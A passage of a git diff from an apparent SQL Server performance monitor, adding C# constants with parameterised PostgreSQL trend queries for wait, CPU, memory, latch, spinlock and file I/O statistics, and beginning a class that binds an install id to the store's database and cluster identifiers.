+                END AS interval_seconds
+            FROM v_wait_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            GROUP BY collection_time
+        ),
+        rated AS
+        (
+            SELECT
+                collection_time,
+                CASE WHEN interval_seconds > 0 THEN total_delta_ms END AS rated_delta_ms,
+                CASE WHEN interval_seconds > 0 THEN interval_seconds END AS rated_seconds
+            FROM per_collection
+        )
+        SELECT
+            GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
+            CAST(SUM(rated_delta_ms) AS double precision) / SUM(rated_seconds) AS wait_time_ms_per_second,
+            MIN(collection_time) AS first_collection_time,
+            COUNT(*) AS collection_count
+        FROM rated
+        GROUP BY 1
+        HAVING COUNT(rated_seconds) > 0
+        ORDER BY 1
+        """;
+
+    /// <summary>The CPU scheduler pressure trend: the runnable / blocked / queued task counts, point-in-time gauges averaged per bucket.</summary>
+    public const string CpuScheduler = $"""
+        WITH raw AS
+        (
+            SELECT
+                collection_time,
+                collection_id,
+                total_runnable_tasks_count,
+                total_blocked_task_count,
+                total_queued_request_count
+            FROM v_cpu_scheduler_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+        )
+        SELECT
+            GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
+            AVG(COALESCE(total_runnable_tasks_count, 0)) AS total_runnable_tasks_count,
+            AVG(COALESCE(total_blocked_task_count, 0)) AS total_blocked_task_count,
+            AVG(COALESCE(total_queued_request_count, 0)) AS total_queued_request_count,
+            MIN(collection_time) AS first_collection_time,
+            COUNT(*) AS collection_count
+        FROM raw
+        GROUP BY 1
+        ORDER BY 1
+        """;
+
+    /// <summary>The plan-cache size trend: single-use vs multi-use cache size (MB) per collection, summed across every (cacheobjtype, objtype) group, then averaged per bucket (a gauge).</summary>
+    public const string PlanCache = $"""
+        WITH per_collection AS
+        (
+            SELECT
+                collection_time,
+                CAST(SUM(single_use_size_mb) AS double precision) AS single_use_mb,
+                CAST(SUM(multi_use_size_mb) AS double precision) AS multi_use_mb
+            FROM v_plan_cache_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            GROUP BY collection_time
+        )
+        SELECT
+            GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
+            AVG(single_use_mb) AS single_use_mb,
+            AVG(multi_use_mb) AS multi_use_mb,
+            MIN(collection_time) AS first_collection_time,
+            COUNT(*) AS collection_count
+        FROM per_collection
+        GROUP BY 1
+        ORDER BY 1
+        """;
+
+    /// <summary>
+    /// The memory-clerk trend for <paramref name="typeCount"/> clerk types in one query, grouped by clerk type and
+    /// bucket. The <c>clerk_type IN (...)</c> list takes $4 onward and the bucket width the parameter after it.
+    /// <c>memory_mb</c> is a gauge, averaged per bucket.
+    /// </summary>
+    public static string MemoryClerks(int typeCount)
+    {
+        var typeParams = string.Join(", ", Enumerable.Range(0, typeCount).Select(i => "$" + (i + 4)));
+        var widthParam = "$" + (typeCount + 4);
+        return $$"""
+            SELECT
+                clerk_type,
+                GREATEST(date_bin(CAST({{widthParam}} AS integer) * INTERVAL '1 minute', collection_time, {{TrendBucketSql.OriginSql}}), $2) AS bucket_start,
+                CAST(AVG(memory_mb) AS double precision) AS memory_mb,
+                MIN(collection_time) AS first_collection_time,
+                COUNT(*) AS collection_count
+            FROM v_memory_clerks
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            AND   clerk_type IN ({{typeParams}})
+            GROUP BY clerk_type, 2
+            ORDER BY clerk_type, 2
+            """;
+    }
+
+    /// <summary>
+    /// The heaviest memory clerk types in the window, by total memory, for the clerk trend's default selection.
+    /// $1 server_id, $2/$3 window (naive UTC), $4 how many to return.
+    /// </summary>
+    public const string TopMemoryClerks = """
+        SELECT
+            clerk_type
+        FROM v_memory_clerks
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time <= $3
+        GROUP BY clerk_type
+        ORDER BY SUM(memory_mb) DESC, clerk_type
+        LIMIT CAST($4 AS integer)
+        """;
+
+    /// <summary>Whether the server has EVER recorded a wait-stats sample. $1 server_id.</summary>
+    public const string HasAnyWaits = """
+        SELECT 1
+        FROM v_wait_stats
+        WHERE server_id = $1
+        LIMIT 1
+        """;
+
+    /// <summary>Whether the server has EVER recorded a CPU scheduler sample. $1 server_id.</summary>
+    public const string HasAnyCpuScheduler = """
+        SELECT 1
+        FROM v_cpu_scheduler_stats
+        WHERE server_id = $1
+        LIMIT 1
+        """;
+
+    /// <summary>Whether the server has EVER recorded a memory-clerk sample. $1 server_id.</summary>
+    public const string HasAnyMemoryClerks = """
+        SELECT 1
+        FROM v_memory_clerks
+        WHERE server_id = $1
+        LIMIT 1
+        """;
+
+    /// <summary>Whether the server has EVER recorded a plan-cache sample. $1 server_id.</summary>
+    public const string HasAnyPlanCache = """
+        SELECT 1
+        FROM v_plan_cache_stats
+        WHERE server_id = $1
+        LIMIT 1
+        """;
+
+    /// <summary>The server-wide session-summary trend (the Activity tab's chart): the eight status and count gauges averaged per bucket, plus the top application and host of each bucket's newest collection (they cannot be averaged). Runs on <c>v_session_summary_stats</c>. Also carries <c>latest_collection_time</c>.</summary>
+    public const string SessionSummary = $"""
+        WITH raw AS
+        (
+            SELECT
+                collection_time,
+                GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
+                total_sessions,
+                running_sessions,
+                sleeping_sessions,
+                background_sessions,
+                dormant_sessions,
+                idle_sessions_over_30min,
+                sessions_waiting_for_memory,
+                databases_with_connections,
+                top_application_name,
+                top_application_connections,
+                top_host_name,
+                top_host_connections
+            FROM v_session_summary_stats
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+        ),
+        agg AS
+        (
+            SELECT
+                bucket_start,
+                AVG(COALESCE(total_sessions, 0)) AS total_sessions,
+                AVG(COALESCE(running_sessions, 0)) AS running_sessions,
+                AVG(COALESCE(sleeping_sessions, 0)) AS sleeping_sessions,
+                AVG(COALESCE(background_sessions, 0)) AS background_sessions,
+                AVG(COALESCE(dormant_sessions, 0)) AS dormant_sessions,
+                AVG(COALESCE(idle_sessions_over_30min, 0)) AS idle_sessions_over_30min,
+                AVG(COALESCE(sessions_waiting_for_memory, 0)) AS sessions_waiting_for_memory,
+                AVG(COALESCE(databases_with_connections, 0)) AS databases_with_connections,
+                MIN(collection_time) AS first_collection_time,
+                COUNT(*) AS collection_count
+            FROM raw
+            GROUP BY bucket_start
+        ),
+        latest AS
+        (
+            SELECT DISTINCT ON (bucket_start)
+                bucket_start,
+                top_application_name,
+                top_application_connections,
+                top_host_name,
+                top_host_connections,
+                collection_time AS latest_collection_time
+            FROM raw
+            ORDER BY bucket_start, collection_time DESC
+        )
+        SELECT
+            agg.bucket_start,
+            agg.total_sessions,
+            agg.running_sessions,
+            agg.sleeping_sessions,
+            agg.background_sessions,
+            agg.dormant_sessions,
+            agg.idle_sessions_over_30min,
+            agg.sessions_waiting_for_memory,
+            agg.databases_with_connections,
+            latest.top_application_name,
+            latest.top_application_connections,
+            latest.top_host_name,
+            latest.top_host_connections,
+            agg.first_collection_time,
+            agg.collection_count,
+            latest.latest_collection_time
+        FROM agg
+        JOIN latest ON latest.bucket_start = agg.bucket_start
+        ORDER BY agg.bucket_start
+        """;
+
+    /// <summary>
+    /// The latch-class wait trend for <paramref name="nameCount"/> latch classes in one query, grouped by class and
+    /// bucket. The <c>latch_class IN (...)</c> list takes $4 onward and the bucket width the parameter after it. Each
+    /// bucket's <c>wait_time_ms_per_second</c> is the summed delta over the summed stored interval of the collections
+    /// whose interval was knowable (the stored interval, or for rows that never stored one the per-class LAG), so a
+    /// restart's fabricated zero is dropped and a bucket the window cuts short still holds a true rate.
+    /// </summary>
+    public static string LatchWaits(int nameCount) => RatedByName(
+        "v_latch_stats", "latch_class", "delta_wait_time_ms", "wait_time_ms_per_second", nameCount);
+
+    /// <summary>The spinlock twin of <see cref="LatchWaits"/>: <c>collisions_per_second</c> per spinlock name and bucket.</summary>
+    public static string SpinlockCollisions(int nameCount) => RatedByName(
+        "v_spinlock_stats", "spinlock_name", "delta_collisions", "collisions_per_second", nameCount);
+
+    private static string RatedByName(string view, string nameColumn, string deltaColumn, string rateColumn, int nameCount)
+    {
+        var nameParams = string.Join(", ", Enumerable.Range(0, nameCount).Select(i => "$" + (i + 4)));
+        var widthParam = "$" + (nameCount + 4);
+        return $$"""
+            WITH raw AS
+            (
+                SELECT
+                    {{nameColumn}},
+                    collection_time,
+                    {{deltaColumn}},
+                    /* #3540: the STORED interval where the row has one; 0 (no delta knowable) becomes NULL through NULLIF
+                       and the bucket drops the row rather than reading 0.00. NULL (a pre-V127 row) falls back to the LAG. */
+                    CASE WHEN sample_interval_seconds IS NULL
+                         THEN extract(epoch FROM (date_trunc('second', collection_time) - date_trunc('second', LAG(collection_time) OVER (PARTITION BY {{nameColumn}} ORDER BY collection_time))))
+                         ELSE NULLIF(sample_interval_seconds, 0)
+                    END AS interval_seconds
+                FROM {{view}}
+                WHERE server_id = $1
+                AND   collection_time >= $2
+                AND   collection_time <= $3
+                AND   {{nameColumn}} IN ({{nameParams}})
+            )
+            SELECT
+                {{nameColumn}},
+                GREATEST(date_bin(CAST({{widthParam}} AS integer) * INTERVAL '1 minute', collection_time, {{TrendBucketSql.OriginSql}}), $2) AS bucket_start,
+                CAST(SUM(CASE WHEN interval_seconds > 0 AND {{deltaColumn}} IS NOT NULL THEN {{deltaColumn}} END) AS double precision) / SUM(CASE WHEN interval_seconds > 0 AND {{deltaColumn}} IS NOT NULL THEN interval_seconds END) AS {{rateColumn}},
+                MIN(collection_time) AS first_collection_time,
+                COUNT(*) AS collection_count
+            FROM raw
+            GROUP BY {{nameColumn}}, 2
+            HAVING COUNT(CASE WHEN interval_seconds > 0 AND {{deltaColumn}} IS NOT NULL THEN 1 END) > 0
+            ORDER BY {{nameColumn}}, 2
+            """;
+    }
+
+    /// <summary>
+    /// The collector run-duration trend for <paramref name="nameCount"/> collectors in one query, grouped by collector
+    /// and bucket: the bucket's longest and average successful run and its run count. The <c>collector_name IN (...)</c>
+    /// list takes $4 onward and the bucket width the parameter after it. A run counts when status is SUCCESS with a duration.
+    /// </summary>
+    public static string CollectorDurations(int nameCount)
+    {
+        var nameParams = string.Join(", ", Enumerable.Range(0, nameCount).Select(i => "$" + (i + 4)));
+        var widthParam = "$" + (nameCount + 4);
+        return $$"""
+            SELECT
+                collector_name,
+                GREATEST(date_bin(CAST({{widthParam}} AS integer) * INTERVAL '1 minute', collection_time, {{TrendBucketSql.OriginSql}}), $2) AS bucket_start,
+                CAST(MAX(duration_ms) AS double precision) AS max_duration_ms,
+                CAST(AVG(duration_ms) AS double precision) AS avg_duration_ms,
+                CAST(COUNT(*) AS double precision) AS run_count,
+                MIN(collection_time) AS first_collection_time,
+                COUNT(*) AS collection_count
+            FROM v_collection_log
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            AND   collection_time <= $3
+            AND   status = 'SUCCESS'
+            AND   duration_ms IS NOT NULL
+            AND   collector_name IN ({{nameParams}})
+            GROUP BY collector_name, 2
+            ORDER BY collector_name, 2
+            """;
+    }
+
+    /// <summary>
+    /// The tempdb allocated-size trend (the tempdb tab's size chart): reserved plus unallocated MB, each averaged per
+    /// bucket (gauges), as one series. A bucket with no reading for a part counts that part as 0, as the chart does.
+    /// </summary>
+    public const string TempDbSize = $"""
+        SELECT
+            GREATEST(date_bin(CAST($4 AS integer) * INTERVAL '1 minute', collection_time, {TrendBucketSql.OriginSql}), $2) AS bucket_start,
+            COALESCE(CAST(AVG(total_reserved_mb) AS double precision), 0) + COALESCE(CAST(AVG(unallocated_mb) AS double precision), 0) AS allocated_mb,
+            MIN(collection_time) AS first_collection_time,
+            COUNT(*) AS collection_count
+        FROM v_tempdb_stats
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time <= $3
+        GROUP BY 1
+        ORDER BY 1
+        """;
+
+    /// <summary>
+    /// The tempdb per-file I/O latency trend for <paramref name="nameCount"/> tempdb files in one query, grouped by
+    /// file and bucket: average read and write latency (summed stall ms over summed operations). The
+    /// <c>file_name IN (...)</c> list takes $4 onward and the bucket width the parameter after it. A row whose interval
+    /// is 0 (no delta knowable) or whose operation or stall delta is NULL is left out of the sums; a bucket with no
+    /// usable read row is dropped, and a bucket with usable rows but no reads (or writes) reads 0 ms for that side, as the chart does.
+    /// </summary>
+    public static string TempDbFileIo(int nameCount)
+    {
+        var nameParams = string.Join(", ", Enumerable.Range(0, nameCount).Select(i => "$" + (i + 4)));
+        var widthParam = "$" + (nameCount + 4);
+        return $$"""
+            WITH rated AS
+            (
+                SELECT
+                    file_name,
+                    collection_time,
+                    CASE WHEN sample_interval_seconds IS DISTINCT FROM 0 AND delta_reads IS NOT NULL AND delta_stall_read_ms IS NOT NULL THEN delta_reads END AS rated_reads,
+                    CASE WHEN sample_interval_seconds IS DISTINCT FROM 0 AND delta_reads IS NOT NULL AND delta_stall_read_ms IS NOT NULL THEN CAST(delta_stall_read_ms AS double precision) END AS rated_stall_read_ms,
+                    CASE WHEN sample_interval_seconds IS DISTINCT FROM 0 AND delta_writes IS NOT NULL AND delta_stall_write_ms IS NOT NULL THEN delta_writes END AS rated_writes,
+                    CASE WHEN sample_interval_seconds IS DISTINCT FROM 0 AND delta_writes IS NOT NULL AND delta_stall_write_ms IS NOT NULL THEN CAST(delta_stall_write_ms AS double precision) END AS rated_stall_write_ms
+                FROM v_file_io_stats
+                WHERE server_id = $1
+                AND   collection_time >= $2
+                AND   collection_time <= $3
+                AND   database_name = 'tempdb'
+                AND   file_name IN ({{nameParams}})
+            )
+            SELECT
+                file_name,
+                GREATEST(date_bin(CAST({{widthParam}} AS integer) * INTERVAL '1 minute', collection_time, {{TrendBucketSql.OriginSql}}), $2) AS bucket_start,
+                CASE WHEN SUM(rated_reads) > 0 THEN SUM(rated_stall_read_ms) / SUM(rated_reads) ELSE 0 END AS avg_read_latency_ms,
+                CASE WHEN SUM(rated_writes) > 0 THEN SUM(rated_stall_write_ms) / SUM(rated_writes) ELSE 0 END AS avg_write_latency_ms,
+                MIN(collection_time) AS first_collection_time,
+                COUNT(*) AS collection_count
+            FROM rated
+            GROUP BY file_name, 2
+            HAVING COUNT(rated_reads) > 0
+            ORDER BY file_name, 2
+            """;
+    }
+
+    /// <summary>
+    /// The file I/O throughput trend (MB/s) for <paramref name="nameCount"/> files in one query, grouped by file label
+    /// (<c>database.file</c>) and bucket. The label <c>IN (...)</c> list takes $4 onward and the bucket width the
+    /// parameter after it. Each side's rate is the summed delta bytes over the summed stored interval of the rows that
+    /// had that delta (the stored interval, or for rows that never stored one the gap since the file's previous
+    /// collection; an interval of 0 is dropped), divided by 1 MiB, so a row with a NULL delta adds no seconds.
+    /// </summary>
+    public static string FileIoThroughput(int nameCount)
+    {
+        var nameParams = string.Join(", ", Enumerable.Range(0, nameCount).Select(i => "$" + (i + 4)));
+        var widthParam = "$" + (nameCount + 4);
+        return $$"""
+            WITH with_interval AS
+            (
+                SELECT
+                    database_name || '.' || file_name AS file_label,
+                    collection_time,
+                    /* A counter reset on an old row (no stored interval) gives a negative delta; it is not a rate, so it counts as no delta. */
+                    CASE WHEN delta_read_bytes >= 0 THEN delta_read_bytes END AS delta_read_bytes,
+                    CASE WHEN delta_write_bytes >= 0 THEN delta_write_bytes END AS delta_write_bytes,
+                    /* #3540: the STORED interval where the row has one; 0 (no delta knowable) becomes NULL through NULLIF
+                       and the row is dropped. NULL (a pre-V127 row) falls back to the gap since the file's previous collection. */
+                    CASE WHEN sample_interval_seconds IS NULL
+                         THEN EXTRACT(EPOCH FROM (collection_time - LAG(collection_time) OVER (PARTITION BY server_id, database_name, file_name ORDER BY collection_time)))
+                         ELSE NULLIF(sample_interval_seconds, 0)
+                    END AS interval_seconds
+                FROM v_file_io_stats
+                WHERE server_id = $1
+                AND   collection_time >= $2
+                AND   collection_time <= $3
+                AND   database_name || '.' || file_name IN ({{nameParams}})
+            )
+            SELECT
+                file_label,
+                GREATEST(date_bin(CAST({{widthParam}} AS integer) * INTERVAL '1 minute', collection_time, {{TrendBucketSql.OriginSql}}), $2) AS bucket_start,
+                CAST(SUM(CASE WHEN interval_seconds > 0 AND delta_read_bytes IS NOT NULL THEN delta_read_bytes END) AS double precision)
+                    / SUM(CASE WHEN interval_seconds > 0 AND delta_read_bytes IS NOT NULL THEN interval_seconds END) / 1048576.0 AS read_mb_per_sec,
+                CAST(SUM(CASE WHEN interval_seconds > 0 AND delta_write_bytes IS NOT NULL THEN delta_write_bytes END) AS double precision)
+                    / SUM(CASE WHEN interval_seconds > 0 AND delta_write_bytes IS NOT NULL THEN interval_seconds END) / 1048576.0 AS write_mb_per_sec,
+                MIN(collection_time) AS first_collection_time,
+                COUNT(*) AS collection_count
+            FROM with_interval
+            GROUP BY file_label, 2
+            HAVING COUNT(CASE WHEN interval_seconds > 0 AND (delta_read_bytes IS NOT NULL OR delta_write_bytes IS NOT NULL) THEN 1 END) > 0
+            ORDER BY file_label, 2
+            """;
+    }
+
+    /// <summary>The tempdb files with the most I/O operations in the window, for the default selection. $1 server_id, $2/$3 window (naive UTC), $4 how many to return.</summary>
+    public const string TopTempDbFiles = """
+        SELECT
+            file_name
+        FROM v_file_io_stats
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time <= $3
+        AND   database_name = 'tempdb'
+        GROUP BY file_name
+        ORDER BY SUM(COALESCE(delta_reads, 0) + COALESCE(delta_writes, 0)) DESC, file_name
+        LIMIT CAST($4 AS integer)
+        """;
+
+    /// <summary>The files (<c>database.file</c>) with the most bytes moved in the window, for the default selection. $1 server_id, $2/$3 window (naive UTC), $4 how many to return.</summary>
+    public const string TopIoFiles = """
+        SELECT
+            database_name || '.' || file_name AS file_label
+        FROM v_file_io_stats
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time <= $3
+        AND   (delta_read_bytes > 0 OR delta_write_bytes > 0)
+        GROUP BY database_name, file_name
+        ORDER BY SUM(COALESCE(delta_read_bytes, 0) + COALESCE(delta_write_bytes, 0)) DESC, database_name || '.' || file_name
+        LIMIT CAST($4 AS integer)
+        """;
+
+    /// <summary>Whether the server has EVER recorded a tempdb space sample. $1 server_id.</summary>
+    public const string HasAnyTempDb = """
+        SELECT 1
+        FROM v_tempdb_stats
+        WHERE server_id = $1
+        LIMIT 1
+        """;
+
+    /// <summary>Whether the server has EVER recorded tempdb file I/O. $1 server_id.</summary>
+    public const string HasAnyTempDbFileIo = """
+        SELECT 1
+        FROM v_file_io_stats
+        WHERE server_id = $1
+        AND   database_name = 'tempdb'
+        LIMIT 1
+        """;
+
+    /// <summary>Whether the server has EVER recorded file I/O. $1 server_id.</summary>
+    public const string HasAnyFileIo = """
+        SELECT 1
+        FROM v_file_io_stats
+        WHERE server_id = $1
+        LIMIT 1
+        """;
+
+    /// <summary>The latch classes with the most wait time in the window, for the default selection. $1 server_id, $2/$3 window (naive UTC), $4 how many to return.</summary>
+    public const string TopLatchClasses = """
+        SELECT
+            latch_class
+        FROM v_latch_stats
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time <= $3
+        GROUP BY latch_class
+        ORDER BY SUM(delta_wait_time_ms) DESC, latch_class
+        LIMIT CAST($4 AS integer)
+        """;
+
+    /// <summary>The spinlocks with the most collisions in the window, for the default selection. $1 server_id, $2/$3 window (naive UTC), $4 how many to return.</summary>
+    public const string TopSpinlocks = """
+        SELECT
+            spinlock_name
+        FROM v_spinlock_stats
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time <= $3
+        GROUP BY spinlock_name
+        ORDER BY SUM(delta_collisions) DESC, spinlock_name
+        LIMIT CAST($4 AS integer)
+        """;
+
+    /// <summary>The collectors with the longest successful run in the window, for the default selection. $1 server_id, $2/$3 window (naive UTC), $4 how many to return.</summary>
+    public const string TopCollectors = """
+        SELECT
+            collector_name
+        FROM v_collection_log
+        WHERE server_id = $1
+        AND   collection_time >= $2
+        AND   collection_time <= $3
+        AND   status = 'SUCCESS'
+        AND   duration_ms IS NOT NULL
+        GROUP BY collector_name
+        ORDER BY MAX(duration_ms) DESC, collector_name
+        LIMIT CAST($4 AS integer)
+        """;
+
+    /// <summary>Whether the server has EVER recorded a latch-stats sample. $1 server_id.</summary>
+    public const string HasAnyLatch = """
+        SELECT 1
+        FROM v_latch_stats
+        WHERE server_id = $1
+        LIMIT 1
+        """;
+
+    /// <summary>Whether the server has EVER recorded a spinlock-stats sample. $1 server_id.</summary>
+    public const string HasAnySpinlock = """
+        SELECT 1
+        FROM v_spinlock_stats
+        WHERE server_id = $1
+        LIMIT 1
+        """;
+
+    /// <summary>Whether the server has EVER recorded a session-summary sample. $1 server_id.</summary>
+    public const string HasAnySessionSummary = """
+        SELECT 1
+        FROM v_session_summary_stats
+        WHERE server_id = $1
+        LIMIT 1
+        """;
+
+    /// <summary>Whether the server has EVER logged a collector run. $1 server_id.</summary>
+    public const string HasAnyCollectionLog = """
+        SELECT 1
+        FROM v_collection_log
+        WHERE server_id = $1
+        LIMIT 1
+        """;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs b/Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs
index 93664d6239..79f2cf6787 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs
@@ -16,5 +16,5 @@ namespace PerformanceMonitor.Darling.Storage;
 /// </summary>
 public static class StorageVersion
 {
-    public const int SchemaVersion = 157;
+    public const int SchemaVersion = 173;
 }
diff --git a/Darling/PerformanceMonitor.Darling.Storage/StoreInstallId.cs b/Darling/PerformanceMonitor.Darling.Storage/StoreInstallId.cs
new file mode 100644
index 0000000000..58b6b1a4e8
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/StoreInstallId.cs
@@ -0,0 +1,449 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The install id's row in the store (#4961): the eight characters that tell this install's Extended Events sessions
+/// from another install's on a server both monitor. <see cref="InstallId"/> owns the format and makes new ids; this
+/// class owns where the id lives and the one rule about when it changes.
+///
+/// <para><b>One maker, any number of readers.</b> <see cref="EnsureAsync"/> is the service's, called once at start,
+/// after the store's migrations and before any worker. <see cref="TryReadAsync(NpgsqlConnection, CancellationToken)"/>
+/// is for everything else (the CLI, the Viewer) and writes nothing: a reader that made an id would make one for a
+/// store nobody started.</para>
+///
+/// <para><b>The binding.</b> Beside the id the row keeps the store database's OID, the OID of this table, the
+/// cluster's <c>system_identifier</c> and the server's major version. The two OIDs say which store this is: a physical
+/// copy keeps both, and so does <c>pg_upgrade</c>, which the managed store goes through at each major upgrade (see
+/// <see cref="IsSameStore"/>); a store made again by dump and restore, or by another install's migrations, does not. The
+/// cluster id decides only when it changed with both OIDs unchanged: <c>pg_upgrade</c> makes a new one and raises the
+/// major, so a changed cluster id keeps the id only when the major rose, and the row is rebound to the new cluster id
+/// and major. A changed cluster id at the same or a lower major (a copy of the row into a fresh install, whose OIDs can
+/// match because a new cluster numbers its objects from the same start) gets a new id. None of these is a host name (a
+/// recreated container gets a new host name and is still the same store). When the stored binding is not this store's,
+/// or the stored id is not a valid id, the id is replaced and one Warning names both ids and which binding differed. The
+/// old id's sessions are left alone, because the install it came from may still run.</para>
+///
+/// <para><b>A server that refuses the cluster id.</b> A login without superuser rights may call
+/// <c>pg_control_system()</c> by default, but a managed or hardened server can revoke it, and the service has to start
+/// there. A refusal (and only a refusal) of that read leaves the cluster id out of the binding: the row is stored with
+/// a NULL cluster id and one Information line says so. Every login can read the two OIDs and the major version, and an
+/// unknown cluster id on either side is never a changed one, so the two OIDs decide. A row made before the table's
+/// OID was kept (it has none yet) is compared as it was then, by the database's OID and by the cluster id when the row
+/// and the current read both have one, and its table OID is filled in on the next start. So a grant that changes
+/// later, in either direction, never makes a new id on its own, and neither does a major upgrade that a refused start
+/// is the first to see: a start that can't read the cluster id leaves the major of a row that has a cluster id as it
+/// is, because the new major beside the old cluster id would make the upgrade look like a copy to the next start that
+/// can read the cluster id (see <see cref="RebindSql"/>).</para>
+///
+/// <para><b>Safe to run twice at once.</b> Two starts on one store (a restart overlapping its predecessor, two
+/// containers on one database) insert with <c>ON CONFLICT DO NOTHING</c> and read the row back, so they end on the
+/// same id. A replacement is an UPDATE guarded by the id it read, so exactly one of the starts that saw the same bad
+/// row makes the new id and logs the Warning; the others read the row it made. A rebind of a changed or missing
+/// binding value is guarded the same way, and by the value still being stale, so one of the starts logs it.</para>
+/// </summary>
+public static class StoreInstallId
+{
+    /// <summary>The store this connection is on: the cluster's <c>system_identifier</c>, the database's OID, the OID of the
+    /// install id table and the server's major version (<c>server_version_num / 10000</c>). A login without superuser
+    /// rights may call <c>pg_control_system()</c> by default, and a server that revokes it refuses with SQLSTATE 42501,
+    /// which <see cref="EnsureAsync"/> answers with <see cref="DatabaseOidSql"/>.</summary>
+    public const string BindingSql = @"
+SELECT s.system_identifier, d.oid::bigint, 'config.config_install_id'::regclass::oid::bigint,
+       current_setting('server_version_num')::int / 10000
+FROM pg_control_system() AS s
+CROSS JOIN pg_database AS d
+WHERE d.datname = current_database()";
+
+    /// <summary>The two OIDs and the major version, for a store whose server refuses this login the cluster id. Every
+    /// login can read them, so a refusal of this statement is not answered with a fallback.</summary>
+    public const string DatabaseOidSql = @"
+SELECT d.oid::bigint, 'config.config_install_id'::regclass::oid::bigint, current_setting('server_version_num')::int / 10000
+FROM pg_database AS d
+WHERE d.datname = current_database()";
+
+    /// <summary>The row, if there is one. The only statement a reader runs, so it names no column a store older than
+    /// the migration that adds <c>table_oid</c> lacks: the CLI can read a store the upgraded service has not migrated
+    /// yet.</summary>
+    public const string ReadSql = @"
+SELECT install_id, system_identifier, database_oid
+FROM config.config_install_id
+WHERE id = 1";
+
+    /// <summary>The row with its table OID and major version, for <see cref="EnsureAsync"/> alone: it runs after the
+    /// migrations, so the columns are there.</summary>
+    public const string ReadWithTableOidSql = @"
+SELECT install_id, system_identifier, database_oid, table_oid, server_major
+FROM config.config_install_id
+WHERE id = 1";
+
+    /// <summary>Makes the row if no start has yet; a start that loses the race changes nothing.</summary>
+    public const string InsertSql = @"
+INSERT INTO config.config_install_id (id, install_id, system_identifier, database_oid, table_oid, server_major)
+VALUES (1, $1, $2, $3, $4, $5)
+ON CONFLICT (id) DO NOTHING";
+
+    /// <summary>Replaces the id and its binding, but only while the row still holds the id this start read, so of
+    /// several starts that saw the same row exactly one replaces it.</summary>
+    public const string ReplaceSql = @"
+UPDATE config.config_install_id
+SET install_id = $1, system_identifier = $2, database_oid = $3, table_oid = $4, server_major = $5, created_at = (now() AT TIME ZONE 'UTC')
+WHERE id = 1 AND install_id = $6";
+
+    /// <summary>Writes each binding value of a row that is this store's and is missing or changed, and keeps the id:
+    /// the table OID when the row has none (a row made before it was kept), the cluster id when the current one is known
+    /// and differs (a stored NULL included, a refusal that has lifted), and the current major version, except when this
+    /// start can't read the cluster id and the row has one. The major then stays as it is, beside the cluster id it was
+    /// kept with: after a major upgrade, the new major beside the old cluster id would make a later start that reads the
+    /// new cluster id see a changed cluster id at an equal major, which is what a copy of the row looks like, and give it
+    /// a new id. Guarded by the id this start read and by a value still being stale (the major counts only where this
+    /// statement would write it, as <c>NeedsRebind</c> counts it, so the statement never matches a row it changes nothing
+    /// in), so of several starts that saw the same row exactly one writes it and logs.</summary>
+    public const string RebindSql = @"
+UPDATE config.config_install_id
+SET table_oid = COALESCE(table_oid, $1),
+    system_identifier = COALESCE($2::bigint, system_identifier),
+    server_major = CASE WHEN $2::bigint IS NULL AND system_identifier IS NOT NULL THEN server_major ELSE $3 END
+WHERE id = 1 AND install_id = $4
+  AND (table_oid IS NULL
+       OR (($2::bigint IS NOT NULL OR system_identifier IS NULL) AND server_major IS DISTINCT FROM $3)
+       OR ($2::bigint IS NOT NULL AND system_identifier IS DISTINCT FROM $2::bigint))";
+
+    /// <summary>The deadline on every statement here, in seconds. Each touches one row of a table that holds one row, so
+    /// a statement that takes longer than this is waiting on something (a peer holding the row, a store that has
+    /// stopped answering), and the start's own retry is the better place to wait than the statement.</summary>
+    public const int CommandTimeoutSeconds = 30;
+
+    /// <summary>How many times a start re-reads before it gives up: each pass either finds a usable row or watches
+    /// another start make one, so more than a couple means the row is being changed under it without end.</summary>
+    private const int MaxAttempts = 5;
+
+    /// <summary>What this connection's store is. The cluster id is null when the server refused it (see
+    /// <see cref="DatabaseOidSql"/>); the two OIDs and the major version are always known.</summary>
+    private readonly record struct Binding(long? SystemIdentifier, long DatabaseOid, long TableOid, int ServerMajor);
+
+    /// <summary>What the row holds. The cluster id is null when the start that made the row could not read it; the table
+    /// OID and the major version are null on a row made before they were kept, and on a row a reader read (it does not
+    /// select them).</summary>
+    private readonly record struct Row(string InstallId, long? SystemIdentifier, long DatabaseOid, long? TableOid, int? ServerMajor);
+
+    /// <summary>
